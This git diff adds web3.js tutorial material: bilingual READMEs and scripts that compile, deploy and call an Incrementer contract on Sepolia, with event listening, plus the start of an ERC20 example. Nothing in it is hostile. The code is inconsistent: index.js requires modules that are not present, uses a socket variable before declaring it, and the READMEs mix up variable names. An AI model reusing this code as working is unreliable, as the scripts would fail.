+    "dotenv": "^16.3.1",
+    "solc": "0.8.0",
+    "web3": "^4.0.3"
+  }
+}
diff --git a/basic/02-web3js-transaction/.env.example b/basic/02-web3js-transaction/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/02-web3js-transaction/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/Example02-web3js-transaction/Incrementer.sol b/basic/02-web3js-transaction/Incrementer.sol
similarity index 100%
rename from Example02-web3js-transaction/Incrementer.sol
rename to basic/02-web3js-transaction/Incrementer.sol
diff --git a/basic/02-web3js-transaction/README-cn.md b/basic/02-web3js-transaction/README-cn.md
new file mode 100644
index 000000000..afea445c3
--- /dev/null
+++ b/basic/02-web3js-transaction/README-cn.md
@@ -0,0 +1,251 @@
+中文 / [English](./README.md)
+## 前言
+通过本样例代码，开发者了解到如何对交易进行签名，发送，接收交易回执，验证交易执行结果。同时，样例也提供了事件监听的逻辑代码，开发者可以了解如何对一个事件进行一次或多次监听
+
+
+## 合约功能说明   
+constructor: 构造函数, 用于部署合约时调用, 同时在其中初始化了公共变量 number 的值  
+increment:   增值函数, 根据传入的数值 ( _value ), 对公共变量 number 进行增值 ( number + _value )   
+reset:       重置函数, 用于重置公共变量 number 的值为 0    
+getNumber:   查询函数, 用于查询公共变量 number 当前的数值  
+
+## 测试流程 
+1) 安装依赖
+```js
+npm install
+// 本教程使用的 node 版本为 v20.11.0
+```
+
+2) 配置 .env
+```
+cp .env.example .env
+
+## 修改 .env 中的 INFURA_ID 和 PRIVATE_KEY 为实际的值  
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
+```
+
+3) 执行 index.js 脚本
+```
+node index.js
+```
+
+## compile.js 代码逻辑说明    
+我们无法直接使用 .sol 文件, 需要把它编译为 bin 文件 ( 二进制文件 ), 因此在代码中需要进行这一步的逻辑处理.  
+1) 读取文件   
+第一步, 我们先进行文件的读取, 把 sol 文件加载为 source 变量 
+```js
+// Load contract
+const source = fs.readFileSync("Incrementer.sol", "utf8");
+```
+
+2) 进行合约编译    
+这里进行编译动作. 把 sol 源码编译为 solidity 对象. 这里需要注意的是不同的 sol 源码版本, 编译的方式可能稍有不同, 这里因为 "Incrementer.sol" 对应的是 sol 是 0.8.0 版本, 所以我们可以使用如下的方式进行编译 
+```js 
+// compile solidity
+const input = {
+  language: "Solidity",
+  sources: {
+    "Incrementer.sol": {
+      content: source,
+    },
+  },
+  settings: {
+    outputSelection: {
+      "*": {
+        "*": ["*"],
+      },
+    },
+  },
+};
+
+const tempFile = JSON.parse(solc.compile(JSON.stringify(input)));
+```
+
+3) 获取二进制对象  
+在上一步编译成功的 solidity 对象里面包含很多的属性/值, 而我们需要的是其中合约对象, 通过访问对象属性的方式提示 Incrementer 合约对象  
+```js
+const contractFile = tempFile.contracts["Incrementer.sol"]["Incrementer"];
+``` 
+
+4) 导出对象  
+为了能使其他 js 文件使用 Incrementer 合约对象 , 我们需要对合约对象进行导出
+```js
+module.exports = contractFile;
+```  
+
+## index.js 代码逻辑说明  
+1) 编译合约  
+导入 compile 文件中的 Incrementer 合约对象 
+```js
+const contractOfIncrementer = require("./compile");
+```
+
+2) 读取私钥  
+处于安全考虑, 私钥没有进行硬编码, 而是通过环境变量的方式进行获取. 启动测试时, dotenv 插件自动读取 .env 配置文件中的配置项, 然后加载为环境变量, 之后在代码中可以通过 process.env 读取私钥 ( 也包括其他环境变量 )    
+```js
+require("dotenv").config();
+const privatekey = process.env.PRIVATE_KEY;
+```     
+
+3) 构造 web3 对象   
+通过 web3 对象可以很方便的发送相应的交易到区块链网络, 同时获取区块链的处理结果. 
+构造 web3 对象时, 主要需要传入一个参数, 就是对应的区块链网络, 包括 sepolia 测试网络, 或是 mainnet 主网. 
+这里我们使用 sepolia 测试网络. 如果没有 sepolia 网络的测试币, 可以切换到其他的测试网络. 
+同时需要注意的是, 这里我们通过 infura 向对应的区块链网络发送交易, 而 INFURA_ID 这个变量值也需要配置在 .env 文件中, 具体如何获取 infura_id, 可自行搜索查找相关文档 
+```js
+// Provider
+const providerRPC = {
+  development: "https://sepolia.infura.io/v3/" + process.env.INFURA_ID,
+  moonbase: "https://rpc.testnet.moonbeam.network",
+};
+const web3 = new Web3(providerRPC.development); //Change to correct network
+```
+
+4) 获取账户地址  
+在区块链上, 每个用户都有一个对应的账户地址, 而这个账户地址可以通过私钥进行获取. 这里, 我们调用 web3.eth.accounts.privateKeyToAccount 接口, 传入对应的私钥, 就可以获取对应的账户地址
+```js
+const account = web3.eth.accounts.privateKeyToAccount(privatekey);
+const account_from = {
+  privateKey: privatekey,
+  accountAddress: account.address,
+};
+```
+
+5) 获取 abi 和 bin  
+在部署合约的过程中, 我们会用到两个重要的参数, 合约对应的 bytecode 和 abi. 在步骤 1 的时候, 我们导入了编译后的 Incrementer 合约对象, 通过这个对象, 我们可以获取的合约对应的 bytecode 和 abi  
+```js
+const bytecode = contractOfIncrementer.evm.bytecode.object;
+const abi = contractOfIncrementer.abi;
+```
+
+6) 构造合约实例 
+在步骤 5 中, 我们获取了 sol 源文件编译后的二进制 和 abi, 这里就可以使用对应的 abi 构造相应的合约实例, 以便在后续中通过合约实例进行交易的发送
+```js
+// Create contract instance
+  const deployContract = new web3.eth.Contract(abi);
+```
+
+7) 创建合约交易   
+调用 deployContract.deploy 接口, 我们创建了部署合约的二进制交易. 这里, 此交易还没有发送到区块链网络, 即合约还没有被创建  
+```js
+// Create Tx
+const deployTx = deployContract.deploy({
+  data: bytecode,
+  arguments: [5],
+});
+```  
+
+8) 交易签名 
+如下使用私钥对交易进行签名,
+```js
+// Sign Tx
+const createReceipt = await web3.eth.accounts.signTransaction(
+  {
+    data: deployTx.encodeABI(),
+    gas: 8000000,
+  },
+  account_from.privateKey
+);
+```
+
+9) 部署合约  
+这里使用发送签名后的交易到区块量网络, 同时回去返回的交易回执. 从返回的交易回执中可以得到此次部署的合约的地址 
+```js
+const createReceipt = await web3.eth.sendSignedTransaction(
+    createTransaction.rawTransaction
+);
+console.log(`Contract deployed at address: ${createReceipt.contractAddress}`);
+```
+
+10) 通过已经部署的合约地址加载合约实例  
+上述, 我们是先构造了一个合约实例, 然后再通过发送合约部署交易, 实现合约实例的上链, 以便后续进行相应的交易操作. 但同时, 我们也可以直接加载一个已经上链的合约实例, 这样就可以直接对合约进行操作, 避免了中间的部署过程  
+```js
+let incrementer = new web3.eth.Contract(abi, createReceipt.contractAddress);
+```
+
+11) 调用合约只读接口   
+不管是通过部署创建的合约实例, 还是通过加载已经部署的合约创建的合约实例, 在拥有一个已经上链的合约实例后, 就可以和合约进行交互.  
+合约接口分为只读和交易接口, 其中只读接口不会产生区块, 而交易接口调用会在区块链网络上产生相应的区块数据 
+如下, 调用合约的 getNumber 接口后, 获取合约中的公共变量 number 的数值 
+```js
+let number = await incrementer.methods.getNumber().call();
+```
+
+12) 构造交易   
+发送交易之前, 先进行交易的构造, 即编码合约接口及相应的传入参数 
+```js
+let incrementTx = incrementer.methods.increment(_value);
+
+// Sign with Pk
+let incrementTransaction = await web3.eth.accounts.signTransaction(
+  {
+    to: createReceipt.contractAddress,
+    data: incrementTx.encodeABI(),
+    gas: 8000000,
+  },
+  account_from.privateKey
+);
+```
+
+13) 发送交易并获取回执  
+调用 sendSignedTransaction 接口, 发送上一步变码好的交易, 同时获取交易回执用户检查交易的处理结果 
+```js 
+const incrementReceipt = await web3.eth.sendSignedTransaction(
+  incrementTransaction.rawTransaction
+);
+```
+
+14) 监听事件  
+在合约接口调用中, 除了接口返回的结果外, 唯一能获取接口处理中间信息的方法便是 "事件" .  
+在接口中, 通过触发一个事件, 然后在外部捕获区块产生的事件, 就可以获取相应的内部信息  
+- 一次性事件监听器  
+如下, 在合约实例上调用 once 接口, 传入监听的事件为 "Increment",  就生成了一个一次性的事件监听器. 当有 "Increment" 触发时, 就会打印相应的提示信息 
+```js
+const web3Socket = new Web3(
+   "wss://sepolia.infura.io/ws/v3/" ++ process.env.INFURA_ID
+  );
+  
+
+  // listen to  Increment event only once
+  incrementer.once("Increment", (error, event) => {
+    console.log("I am a onetime event listner, I am going to die now");
+  });
+```
+
+- 持续性事件监听器  
+同样的, 也可以在合约实例上生成持续性的事件监听器, events 后面紧跟着的就是对应的事件名称 
+```js
+incrementer.events.Increment(() => {
+    console.log("I am a longlive event listner, I get a event now");
+  });
+  #以上持续监听代码已更新，新的代码参考 index.js中 第171行 ～ 第184行
+```
+
+- 触发事件  
+如下, 构造交易, 调用 increment 接口, 触发 "Increment" 事件, 在终端上就可以看到相应的输出  
+```js
+let incrementTx = incrementer.methods.increment(_value);
+
+//为了演示触发error的事件机制，index.js 中将上述 “_value”直接设定为0，触发'increment value should be positive number'事件
+
+incrementTransaction = await web3.eth.accounts.signTransaction(
+      {
+        to: createReceipt.contractAddress,
+        data: incrementTx.encodeABI(),
+        gas: 8000000,
+      },
+      account_from.privateKey
+    );
+
+   await web3.eth
+       .sendSignedTransaction(incrementTransaction.rawTransaction)
+      .on('error', console.error)
+```
+
+## 参考文章
+代码参考文章如下   
+https://docs.moonbeam.network/getting-started/local-node/deploy-contract/
+
+sepolia 测试网无法使用 http 进行 event 监听，需要使用 web3socket, 可参考如下文章  
+https://medium.com/blockcentric/listening-for-smart-contract-events-on-public-blockchains-fdb5a8ac8b9a
diff --git a/basic/02-web3js-transaction/README.md b/basic/02-web3js-transaction/README.md
new file mode 100644
index 000000000..ad4a35dd7
--- /dev/null
+++ b/basic/02-web3js-transaction/README.md
@@ -0,0 +1,228 @@
+[中文](./README-cn.md) / English
+# Abstract
+The demo code provides developers with an overview of how to sign, send, and receive receipt of transactions, and verify the results of their execution. The sample also provides the event monitoring code so that the developer can understand how to listen to an event one or more times.
+
+# Getting Started
+
+## Understanding The Functions of the [Smart Contract](Incrementer.sol)
+- `Constructor`: The constructor function of the smart contract, which is called when the contract is deploying, at the same time it will initialize the `number` to `_initialNumber`;
+- `increment`: The function of incrementing the `number` by given `_value`;
+- `rest`: The function of resetting the `number` to 0;
+- `getNumber`: The function of getting the `number`.
+
+## How to run it
+
+1. Please use node v20.11.0 to run following commands
+2. Install dependencies: `npm install`
+3. Copy the configuration file: `cp .env.example .env`
+4. Edit the configuration file: `vim .env`, copy your project ID and private key to the `.env` file.
+    ```text
+    PRIVATE_KEY=YOUR_PRIVATE_KEY
+    INFURA_ID=YOUR_PROJECT_ID
+    ``` 
+5. Run the `index.js` file: `node index.js`
+
+# Interpret Source Code
+## `compile.js`
+You can't use `.sol` files directly, you need to compile it to binary file firstly.
+### Load the smart contract file `Incrementer.sol` into `source` variable.
+
+```js
+// Load contract
+// please use node v20.11.0 to run following commands
+const source = fs.readFileSync("Incrementer.sol", "utf8");
+```
+### Compile the smart contract file
+
+```js
+const input = {
+  language: "Solidity",
+  sources: {
+    "Incrementer.sol": {
+      content: source,
+    },
+  },
+  settings: {
+    outputSelection: {
+      "*": {
+        "*": ["*"],
+      },
+    },
+  },
+};
+
+const tempFile = JSON.parse(solc.compile(JSON.stringify(input)));
+```
+| Note: The version of solidity in this task is `0.8.0`, different versions may have different compile ways.
+
+### Get the Contract Object
+
+```js
+const contractFile = tempFile.contracts["Incrementer.sol"]["Incrementer"];
+```  
+
+### Export `contractFile` Object
+
+If you want to use the `contractFile` object in other `js` files, you need to export it.
+```js
+module.exports = contractFile;
+```  
+
+## `index.js`
+
+### 1. Load the `Incrementer` smart contract from `compile` file
+```js
+const contractOfIncrementer = require("./compile");
+```
+
+### 2. Read private key from environment variables
+For security’s sake, the private key is not hard-coded, but it can be read as environment variables. When run this task, the `dotenv` plugin will automatically read the configurations in the `.env` file and load them as environment variables, and then you can use the private key and other environment variables via `process.env`.  
+```js
+require("dotenv").config();
+const privatekey = process.env.PRIVATE_KEY;
+```
+
+### 3. Create the `web3` instance
+`web3` is the main API of the `web3js` library. It is used to interact with the blockchain.
+
+```js
+// Provider
+const providerRPC = {
+  development: "https://sepolia.infura.io/v3/" + process.env.INFURA_ID,
+  moonbase: "https://rpc.testnet.moonbeam.network",
+};
+const web3 = new Web3(providerRPC.development); //Change to correct network
+```
+| Note: The `INFURA_ID` is the `PROJECT ID` of the `Infura` project you created in last [task](../01-web3js-deploy/README.md)
+
+### 4. Get the `account` address
+On blockchain, each user has a `address`, which is unique for others, and you can get the `address` by the private key. In this task, you can use the `we3.eth.accounts.privateKeyToAccount` API to get your `account` address by passing the private key as a parameter.
+```js
+const account = web3.eth.accounts.privateKeyToAccount(privatekey);
+const account_from = {
+  privateKey: privatekey,
+  accountAddress: account.address,
+};
+```
+
+### 5. Get the `bytecode` and `abi`
+When deploying the smart contract, you need to specify the `bytecode` and `abi` of the smart contract. The `bytecode` is the compiled binary code of the smart contract, and the `abi` (Application Binary Interface) is the interface of the smart contract.
+```js
+const bytecode = contractOfIncrementer.evm.bytecode.object;
+const abi = contractOfIncrementer.abi;
+```  
+
+### 6. Get contract instance
+In the last step, you got the `bytecode` and `abi`, so you can create the contract instance by the `abi`.
+```js
+// Create contract instance
+  const deployContract = new web3.eth.Contract(abi);
+```
+
+### 7. Create the transaction of the `deployContract`
+```js
+// Create Tx
+const deployTx = deployContract.deploy({
+    data: bytecode,
+    arguments: [5],
+});
+
+#arguments: [5] -> incrementer.sol : function increment
+```  
+
+### 8. Sign the transaction
+Use your private key to sign the transaction.
+```js
+// Sign Tx
+const createTransaction = await web3.eth.accounts.signTransaction(
+    {
+        data: deployTx.encodeABI(),
+        gas: 8000000,
+    },
+    account_from.privateKey
+);
+```
+
+### 9. Send the transaction / Deploy your smart contract
+Send your `deploy` transaction to the blockchain. You will receive a receipt, and get this contract address from the receipt.
+```js
+const createReceipt = await web3.eth.sendSignedTransaction(
+    createTransaction.rawTransaction
+);
+console.log(`Contract deployed at address: ${createReceipt.contractAddress}`);
+```
+
+
+### 10. Load the contract instance from blockchain through above address
+In previous steps, you built a contract instance, and then deployed the transaction by sending the contract to the blockchain so that you can operate the transaction later. Besides, you could also load a contract instance that is already on the blockchain so that you can operate it directly and avoid the process of deploying it.
+```js
+let incrementer = new web3.eth.Contract(abi, deployReceipt.contractAddress);
+```
+
+### 11. Use the `view` function of a contract
+Whether a contract instance is create by deploying, or by loading, you can interact with the contract once you have an instance of the contract already on the blockchain.  
+There are two types of contract functions: `view` and without `view`. The functions with `view` promise not to modify the state, while the functions without `view` will generate the corresponding block data on the blockchain.
+For example, after calling the `getNumber` function of the contract, you will get the public variable number of the contract, and this operation will not charge any gas.
+```js
+let number = await incrementer.methods.getNumber().call();
+```
+
+### 12. Build a transaction
+Before you send the transaction to the blockchain, you need to build the transaction, it means you need to specify the parameters of the transaction.
+```js
+let incrementTx = incrementer.methods.increment(_value);
+
+// Sign with Pk
+let incrementTransaction = await web3.eth.accounts.signTransaction(
+  {
+    to: createReceipt.contractAddress,
+    data: incrementTx.encodeABI(),
+    gas: 8000000,
+  },
+  account_from.privateKey
+);
+```
+
+### 13. Send the transaction and get the receipt
+You can use `sendSignedTransaction` function to send above transaction to the blockchain, and got the receipt to check result.
+```js
+const incrementReceipt = await web3.eth.sendSignedTransaction(
+  incrementTransaction.rawTransaction
+);
+```
+
+### Listen to Event Increment 
+When invoking the interfaces of the contract, the only way to get information about the processing details, apart from the results returned by the interface, is through `events`.  
+In the interfaces, you retrieve the corresponding internal information by triggering an event, and then capturing this event generated by the external block.
+
+
+```js
+const web3Socket = new Web3(
+new Web3.providers.WebsocketProvider(
+    'wss://sepolia.infura.io/ws/v3/' + process.env.INFURA_ID
+));
+#Web3 can intital without assign Provider("new Web3.providers.WebsocketProvider"), it also work. check index.js line 162
+
+```
+
+#we use sepolia now, it you interest in goerli, view below :
+| sepolia don't support http protocol to event listen, need to use websocket. More details , please refer to this [blog](https://medium.com/blockcentric/listening-for-smart-contract-events-on-public-blockchains-fdb5a8ac8b9a)
+
+#### Listen to  Increment event only once
+```js
+incrementer.once('Increment', (error, event) => {
+    console.log('I am a onetime event listener, I am going to die now');
+});
+```
+#### Listen to Increment event continuously
+```js
+incrementer.events.Increment(() => {
+    console.log("I am a longlive event listener, I get a event now");
+});
+
+# event continuously code already change in index.js: from line 171~184, but above code also work.
+```
+
+# References
+- Code part: https://docs.moonbeam.network/getting-started/local-node/deploy-contract/
+- web3socket of sepolia: https://medium.com/blockcentric/listening-for-smart-contract-events-on-public-blockchains-fdb5a8ac8b9a 
\ No newline at end of file
diff --git a/basic/02-web3js-transaction/compile.js b/basic/02-web3js-transaction/compile.js
new file mode 100644
index 000000000..992b16c9e
--- /dev/null
+++ b/basic/02-web3js-transaction/compile.js
@@ -0,0 +1,29 @@
+const fs = require('fs');
+const solc = require('solc');
+
+// 以 utf8 方式加载合约
+const source = fs.readFileSync('Incrementer.sol', 'utf8');
+
+// 编译合约
+const input = {
+  language: 'Solidity',
+  sources: {
+    'Incrementer.sol': {
+      content: source,
+    },
+  },
+  settings: {
+    outputSelection: {
+      '*': {
+        '*': ['*'],
+      },
+    },
+  },
+};
+
+const tempFile = JSON.parse(solc.compile(JSON.stringify(input)));
+const contractOfIncrementer =
+  tempFile.contracts['Incrementer.sol']['Incrementer'];
+
+// 导出合约数据，可以使用 console 打印 contractFile 中的具体内容信息
+module.exports = contractOfIncrementer;
diff --git a/basic/02-web3js-transaction/config.js b/basic/02-web3js-transaction/config.js
new file mode 100644
index 000000000..540f41d5a
--- /dev/null
+++ b/basic/02-web3js-transaction/config.js
@@ -0,0 +1,18 @@
+module.exports = {
+  networks: {
+    sepolia: {
+      http: `https://sepolia.infura.io/v3/${process.env.INFURA_ID}`,
+      ws: `wss://sepolia.infura.io/ws/v3/${process.env.INFURA_ID}`,
+    },
+    // 可添加其他网络配置
+  },
+  gas: {
+    limit: 8000000,
+    // 可添加 gasPrice 策略
+  },
+  contracts: {
+    incrementer: {
+      initialValue: 5,
+    },
+  },
+};
\ No newline at end of file
diff --git a/basic/02-web3js-transaction/index.js b/basic/02-web3js-transaction/index.js
new file mode 100644
index 000000000..073673f87
--- /dev/null
+++ b/basic/02-web3js-transaction/index.js
@@ -0,0 +1,334 @@
+const Web3 = require('web3');
+const fs = require('fs');
+const contractOfIncrementer = require('./compile');
+
+require('dotenv').config();
+const privatekey = process.env.PRIVATE_KEY;
+
+function sleep(ms) {
+  return new Promise((resolve) => setTimeout(resolve, ms));
+}
+
+/*
+   -- Define Provider --
+*/
+// Provider
+const providerRPC = {
+  development: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID,
+  moonbase: 'https://rpc.testnet.moonbeam.network',
+};
+const web3 = new Web3(providerRPC.development); //Change to correct network
+
+// Create account with privatekey
+const account = web3.eth.accounts.privateKeyToAccount(privatekey);
+const account_from = {
+  privateKey: privatekey,
+  accountAddress: account.address,
+};
+
+// Get abi & bin
+const bytecode = contractOfIncrementer.evm.bytecode.object;
+const abi = contractOfIncrementer.abi;
+
+/*
+*
+*
+*   -- Verify Deployment --
+*
+
+*/
+// 将代码拆分为多个模块
+// 1. 合约部署模块
+// 2. 合约交互模块
+// 3. 事件监听模块
+// 4. 错误处理模块
+
+// 示例改进结构
+const ContractDeployer = require('./modules/deployer');
+const ContractInteractor = require('./modules/interactor');
+const EventListener = require('./modules/eventListener');
+const ErrorHandler = require('./modules/errorHandler');
+
+// 添加更细致的错误处理
+class TransactionError extends Error {
+  constructor(message, txHash) {
+    super(message);
+    this.name = 'TransactionError';
+    this.txHash = txHash;
+  }
+}
+
+const handleTransactionError = async (error, tx) => {
+  console.error(`Transaction Failed: ${error.message}`);
+  if (tx?.transactionHash) {
+    const receipt = await web3.eth.getTransactionReceipt(tx.transactionHash);
+    console.error(`Transaction Receipt:`, receipt);
+  }
+  // 可以添加错误上报逻辑
+};
+
+const Trans = async () => {
+  try {
+    // 1. 部署合约
+    const deployer = new ContractDeployer(web3, account_from);
+    const deployedContract = await deployer.deploy(bytecode, abi, [5]);
+
+    // 2. 合约交互
+    const interactor = new ContractInteractor(web3, deployedContract);
+    await interactor.increment(3);
+    await interactor.reset();
+
+    // 3. 事件监听
+    const listener = new EventListener(web3Socket, deployedContract);
+    await listener.listenToIncrementEvents();
+
+    console.log('============================ 1. Deploy Contract');
+    console.log(`Attempting to deploy from account ${account.address}`);
+
+    // Create Contract Instance
+    const deployContract = new web3.eth.Contract(abi);
+
+    // Create Deployment Tx
+    const deployTx = deployContract.deploy({
+      data: bytecode,
+      arguments: [5],
+    });
+
+    // Sign Tx
+    const createTransaction = await web3.eth.accounts.signTransaction(
+      {
+        data: deployTx.encodeABI(),
+        gas: 8000000,
+      },
+      account_from.privateKey
+    );
+
+    // Get Transaction Receipt
+    const createReceipt = await web3.eth.sendSignedTransaction(
+      createTransaction.rawTransaction
+    );
+    console.log(`Contract deployed at address: ${createReceipt.contractAddress}`);
+
+    const deployedBlockNumber = createReceipt.blockNumber;
+
+    /*
+     *
+     *
+     *
+     * -- Verify Interface of Increment --
+     *
+     *
+     */
+    // Create the contract with contract address
+    console.log();
+    console.log(
+      '============================ 2. Call Contract Interface getNumber'
+    );
+    let incrementer = new web3.eth.Contract(abi, createReceipt.contractAddress);
+
+    console.log(
+      `Making a call to contract at address: ${createReceipt.contractAddress}`
+    );
+
+    let number = await incrementer.methods.getNumber().call();
+    console.log(`The current number stored is: ${number}`);
+
+    // Add 3 to Contract Public Variable
+    console.log();
+    console.log(
+      '============================ 3. Call Contract Interface increment'
+    );
+    const _value = 3;
+    let incrementTx = incrementer.methods.increment(_value);
+
+    // Sign with Pk
+    let incrementTransaction = await web3.eth.accounts.signTransaction(
+      {
+        to: createReceipt.contractAddress,
+        data: incrementTx.encodeABI(),
+        gas: 8000000,
+      },
+      account_from.privateKey
+    );
+
+    // Send Transactoin and Get TransactionHash
+    const incrementReceipt = await web3.eth.sendSignedTransaction(
+      incrementTransaction.rawTransaction
+    );
+    console.log(`Tx successful with hash: ${incrementReceipt.transactionHash}`);
+
+    number = await incrementer.methods.getNumber().call();
+    console.log(`After increment, the current number stored is: ${number}`);
+
+    /*
+     *
+     *
+     *
+     * -- Verify Interface of Reset --
+     *
+     *
+     */
+    console.log();
+    console.log('============================ 4. Call Contract Interface reset');
+    const resetTx = incrementer.methods.reset();
+
+    const resetTransaction = await web3.eth.accounts.signTransaction(
+      {
+        to: createReceipt.contractAddress,
+        data: resetTx.encodeABI(),
+        gas: 8000000,
+      },
+      account_from.privateKey
+    );
+
+    const resetcReceipt = await web3.eth.sendSignedTransaction(
+      resetTransaction.rawTransaction
+    );
+    console.log(`Tx successful with hash: ${resetcReceipt.transactionHash}`);
+    number = await incrementer.methods.getNumber().call();
+    console.log(`After reset, the current number stored is: ${number}`);
+
+    /*
+     *
+     *
+     *
+     * -- Listen to Event Increment --
+     *
+     *
+     */
+    console.log();
+    console.log('============================ 5. Listen to Events');
+    console.log(' Listen to Increment Event only once && continuouslly');
+
+    // sepolia don't support http protocol to event listen, need to use websocket
+    // more details , please refer to  https://medium.com/blockcentric/listening-for-smart-contract-events-on-public-blockchains-fdb5a8ac8b9a
+    const web3Socket = new Web3(
+      'wss://sepolia.infura.io/ws/v3/' + process.env.INFURA_ID
+    );
+
+    // listen to  Increment event only once
+    incrementer.once('Increment', (error, event) => {
+      console.log('I am a onetime event listner, I am going to die now');
+    });
+
+    // listen to Increment event continuously
+    // 改进事件监听机制
+    const setupEventListeners = (contract, web3Socket) => {
+      const eventHandler = {
+        onIncrement: (event) => {
+          console.log('Increment Event:', event);
+        },
+        onReset: (event) => {
+          console.log('Reset Event:', event);
+        },
+        onError: (error) => {
+          console.error('Event Error:', error);
+        },
+      };
+
+      return {
+        startListening: () => {
+          web3Socket.eth.subscribe('logs', {
+            address: contract.options.address,
+            topics: [],
+          })
+            .on('data', eventHandler.onIncrement)
+            .on('error', eventHandler.onError);
+        },
+        stopListening: () => {
+          web3Socket.eth.clearSubscriptions();
+        },
+      };
+    };
+
+    // listen to Increment event continuously
+    web3Socket.eth.subscribe('logs', {
+      address: createReceipt.contractAddress,
+      topics: []
+    }, (error, result) => {
+      if (error) {
+        console.error(error)
+      }
+    }
+    ).on("data", (event) => {
+      console.log("New event: ", event);
+    })
+      .on("error", (error) => {
+        console.error("Error: ", error);
+      });
+
+    for (let step = 0; step < 3; step++) {
+      incrementTransaction = await web3.eth.accounts.signTransaction(
+        {
+          to: createReceipt.contractAddress,
+          data: incrementTx.encodeABI(),
+          gas: 8000000,
+        },
+        account_from.privateKey
+      );
+
+      await web3.eth.sendSignedTransaction(incrementTransaction.rawTransaction);
+
+      console.log("Waiting for events")
+      await sleep(3000);
+
+      if (step == 2) {
+        // clear all the listeners
+        web3Socket.eth.clearSubscriptions();
+        console.log('Clearing all the events listeners !!!!');
+      }
+    }
+
+    /*
+     *
+     *
+     *
+     * -- Get past events --
+     *
+     *
+     */
+    console.log();
+    console.log('============================ 6. Going to get past events');
+    const pastEvents = await incrementer.getPastEvents('Increment', {
+      fromBlock: deployedBlockNumber,
+      toBlock: 'latest',
+    });
+
+    pastEvents.map((event) => {
+      console.log(event);
+    });
+
+    /*
+     *
+     *
+     *
+     * -- Check Transaction Error --
+     *
+     *
+     */
+    console.log();
+    console.log('============================ 7. Check the transaction error');
+    incrementTx = incrementer.methods.increment(0);
+    incrementTransaction = await web3.eth.accounts.signTransaction(
+      {
+        to: createReceipt.contractAddress,
+        data: incrementTx.encodeABI(),
+        gas: 8000000,
+      },
+      account_from.privateKey
+    );
+
+    await web3.eth
+      .sendSignedTransaction(incrementTransaction.rawTransaction)
+      .on('error', console.error);
+  } catch (error) {
+    ErrorHandler.handle(error);
+  }
+};
+
+Trans()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/02-web3js-transaction/package.json b/basic/02-web3js-transaction/package.json
new file mode 100644
index 000000000..2ddb1a67e
--- /dev/null
+++ b/basic/02-web3js-transaction/package.json
@@ -0,0 +1,18 @@
+{
+  "name": "example02-send-signed-transaction",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "dotenv": "^10.0.0",
+    "ethereumjs-tx": "^2.1.2",
+    "minimist": "^1.2.5",
+    "solc": "0.8.0",
+    "web3": "^1.3.5"
+  }
+}
diff --git a/basic/03-web3js-erc20/.env.example b/basic/03-web3js-erc20/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/03-web3js-erc20/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/03-web3js-erc20/README-cn.md b/basic/03-web3js-erc20/README-cn.md
new file mode 100644
index 000000000..bdf2af979
--- /dev/null
+++ b/basic/03-web3js-erc20/README-cn.md
@@ -0,0 +1,226 @@
+中文 / [English](./README.md)
+
+## 前言
+
+本样例演示了 ERC20 合约的基本调用, 让开发者了解 ERC20 合约的基本接口
+
+
+## SimpleToken 合约功能说明
+
+- IERC20
+  totalSupply: 获取该合约内总的 ERC20 Token 总量  
+  balanceOf: 获取特定账户的 ERC20 Token 总量  
+  transfer: 向目标账户转移特定数量的 ERC20 Token  
+  allowance: 获取目标账户能够使用的源账户的 ERC20 Token 数量  
+  approve: 向目标账户授权, 可以转移指定额度的 ERC20 Token 数量  
+  transferFrom: ( 第三方调用 ) 从源账户向目标账户转移制定数量的 ERC20 Token
+
+- IERC20Metadata  
+  name: 返回 Token 的名称  
+  symbol: 返回 Token 的符号  
+  decimals: 返回 Token 所支持的精度
+
+## 测试流程
+
+1. 安装依赖
+
+   ```js
+   npm install
+   // 本教程使用的 node 版本为 v20.11.0
+   ```
+
+2. 配置 .env
+
+   ```sh
+   cp .env.example .env
+
+   ## 修改 .env 中的 INFURA_ID 和 PRIVATE_KEY 为实际的值
+   PRIVATE_KEY=xxxxxxxxxxxxxxxx
+   INFURA_ID=yyyyyyyy
+   ```
+
+3. 执行测试
+
+   ```sh
+   node index.js
+   ```
+
+## compile.js 代码逻辑说明
+
+我们无法直接使用 .sol 文件, 需要把它编译为 bin 文件 ( 二进制文件 ), 因此在代码中需要进行这一步的逻辑处理.
+
+1. 读取文件  
+   第一步, 我们先进行文件的读取, 把 sol 文件加载为 source 变量
+
+   ```js
+   // Load contract
+   const source = fs.readFileSync('SimpleToken.sol', 'utf8');
+   ```
+
+2. 进行合约编译  
+   这里进行编译动作. 把 sol 源码编译为 solidity 对象. 这里需要注意的是不同的 sol 源码版本, 编译的方式可能稍有不同, 这里因为 "SimpleToken.sol" 对应的是 sol 是 0.8.0 版本, 所以我们可以使用如下的方式进行编译
+
+   ```js
+   // compile solidity
+   const input = {
+     language: 'Solidity',
+     sources: {
+       'SimpleToken.sol': {
+         content: source,
+       },
+     },
+     settings: {
+       outputSelection: {
+         '*': {
+           '*': ['*'],
+         },
+       },
+     },
+   };
+
+   const tempFile = JSON.parse(solc.compile(JSON.stringify(input)));
+   ```
+
+3. 获取二进制对象  
+   在上一步编译成功的 solidity 对象里面包含很多的属性/值, 而我们需要的是其中合约对象, 通过访问对象属性的方式提示 SimpleToken 合约对象
+
+   ```js
+   const contractFile = tempFile.contracts['SimpleToken.sol']['SimpleToken'];
+   ```
+
+4. 导出对象  
+   为了能使其他 js 文件使用 SimpleToken 合约对象 , 我们需要对合约对象进行导出
+
+   ```js
+   module.exports = contractFile;
+   ```
+
+## index.js 代码逻辑说明
+
+1. 编译合约  
+   导入 compile 文件中的 SimpleToken 合约对象
+
+   ```js
+   const contractFile = require('./compile');
+   ```
+
+2. 读取私钥  
